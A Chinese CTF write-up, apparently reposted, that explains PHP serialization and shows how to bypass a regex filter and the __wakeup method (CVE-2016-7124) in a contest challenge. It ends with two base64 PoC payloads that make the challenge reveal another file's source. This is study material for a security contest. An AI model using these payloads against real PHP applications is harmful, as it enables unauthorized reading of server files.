php反序列化漏洞繞過魔術方法 __wakeup


0x01 前言

前天學校的ctf比賽,有一道題是關於php反序列化漏洞繞過wakeup,最后跟着大佬們學到了一波姿勢。。

0x02 原理

序列化與反序列化簡單介紹

序列化:把復雜的數據類型壓縮到一個字符串中 數據類型可以是數組,字符串,對象等  函數 : serialize()

反序列化:恢復原先被序列化的變量 函數: unserialize()

1 <?php 2 $test1 = "hello world"; 3 $test2 = array("hello","world"); 4 $test3 = 123456; 5 echo serialize($test1); // s:11:"hello world"; 序列化字符串 6 echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化數組 7 echo serialize($test3); // i:123456; 8 ?>
1 <?php 2 class hello{ 3 public $test4 = "hello,world"; 4 } 5 $test = new hello(); 6 echo serialize($test); // O:5:"hello":1:{s:5:"test4";s:11:"hello,world";} 序列化對象 首字母代表參數類型 O->Objext S->String... 7 ?>

魔術方法:官方文檔中介紹

__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(),
__sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為"魔術方法"(Magic methods)。在命名自己的類方法時不能使用這些方法名,除非是想使用其魔術功能。

__wakeup()魔術方法

unserialize() 會檢查是否存在一個 __wakeup() 方法。如果存在,則會先調用 __wakeup 方法,預先准備對象需要的資源。 

序列化public private protect參數產生不同結果

1 <?php 2 class test{ 3 private $test1="hello"; 4 public $test2="hello"; 5 protected $test3="hello"; 6 } 7 $test = new test(); 8 echo serialize($test); // O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";} 9 ?>

test類定義了三個不同類型(私有,公有,保護)但是值相同的字符串,序列化輸出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通過對網頁抓取輸出是這樣的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的參數被反序列化后變成 \00test\00test1 public的參數變成 test2   protected的參數變成 \00*\00test3 

0x03 分析

比賽題目

 1 <?php  2 error_reporting(0);  3 class sercet{  4 private $file='index.php';  5  6 public function __construct($file){  7 $this->file=$file;  8  }  9 10 function __destruct(){ 11 echo show_source($this->file,true); 12  } 13 14 function __wakeup(){ 15 $this->file='index.php'; 16  } 17  } 18 19 $cmd=cmd00; 20 if (!isset($_GET[$cmd])){ 21 echo show_source('index.php',true); 22  } 23 else{ 24 $cmd=base64_decode($_GET[$cmd]); 25 if ((preg_match('/[oc]:\d+:/i',$cmd))||(preg_match('/flag/i',$cmd))){ 26 echo "Are u gaoshing?"; 27  } 28 else{ 29 unserialize($cmd); 30  } 31  } 32 ?> 33 //sercet in the_next.php

大致思路 首先是一個類sercet 接受$cmd,繞過正則 ,反序列化。覆蓋$file的值,繞過 __wakeup,顯示the_next.php的源碼

 1 <?php  2 class sercet{  3 private $file='index.php';  4  5 public function __construct($file){  6 $this->file=$file;  7  }  8  9 function __destruct(){ 10 echo show_source($this->file,true); 11  } 12 13 function __wakeup(){ 14 $this->file='index.php'; 15  } 16  } 17 $test = new sercet("the_next.php"); 18 echo serialize($test); // O:6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} 19 ?>

繞過正則可以用+號 問題是如何繞過__weakup 百度一下  發現這是一個CVE漏洞 ==》當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)

 O:6:"sercet":1:  也就是輸入比1大的值就行   如O:6:"sercet":2:

POC1:  TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

在復現的過程中 我發現在hackbar中直接將 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64編碼不能繞過 必須要在本地base64_encode生成 才能復現成功  百度了一波 

 

所以POC2:  O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";}  TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

 兩個POC均可以成功繞過

參考鏈接

  php bugs 72663分析(CVE-2016-7124)

  由HITCON 2016一道web聊一聊php反序列化漏洞

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM